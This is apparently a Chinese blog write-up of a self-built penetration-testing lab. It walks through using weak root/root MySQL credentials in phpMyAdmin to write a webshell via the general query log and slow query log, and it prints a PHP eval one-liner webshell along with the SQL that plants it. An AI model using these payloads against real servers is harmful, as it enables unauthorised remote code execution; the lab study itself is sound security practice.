靶机搭建
- 下载地址:
靶机下载地址 一共四台机子
win7:web服务器(两张网卡,内网和外网,防火墙)
- 外网: 192.168.206.129
- 内网: 192.168.44.128
server2003:域成员(内网)
- 内网: 192.168.44.129
server2008:域控(内网)
- 内网: 192.168.44.130
kali:攻击机
- 外网: 192.168.206.128
- 打开web服务器的phpstudy
靶场搭建完毕!
探测一下数据库,发现是弱密码
- username: root
- password: root
- nmap扫描一下端口
- 用
dirsearch
扫一下目录
发现phpmyAdmin,账户名和密码都是root,可以通过phpmyAdmin来写shell了! phpmyAdmin写webShell
看一下网上大佬们是怎么写shell的:select into outfile 语句直接写入Webshell.
- 条件: root数据库用户,
secure_file_priv
的值为" "(注意是为" "而不是"NULL"),有权限写入绝对路径的文件夹
- 条件: root数据库用户,
创建数据库和表写webShell
- 条件:与第一种方法一样
开启全局日志getshell
- 条件:与第一种方法一样
通过慢查询写webShell
- 条件:需要有写入权限
总结来说就是要找个方法把shell写到本地。
查询之后发现secure_file_priv
的值为NULL
说明不能写入。我们把每个方法都试一试,看看到底行不行^ ^。- select into outfile:
第一种方法失败了.
- 创建数据库和表写webShell:
- 开启全局日志getShell
芜湖~成功啦。去看看写进去了没。
成功写入,找个蚁剑
看看能不能连上!一句话写错了。。一直连不上:<?php @eval($_POST['cmd']); ?>
应该是这样。
成功连上!- 通过慢查询写入webShell
将慢查询开启,并设置慢查询日志路径:
进行慢查询,让一句话插到日志里面:select '<?php @eval($_POST[cmd]);?>' from mysql.DB where sleep(10);
总结:全局日志和慢查询跟secure_file_priv
的值无关,只需要有写的权限就可以啦
想说的话
干了两个星期开发觉得还是做安全好0 0,研究生毕业前重新把安全捡起来!顺便试试看能不能审计审计java代码,哈哈。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。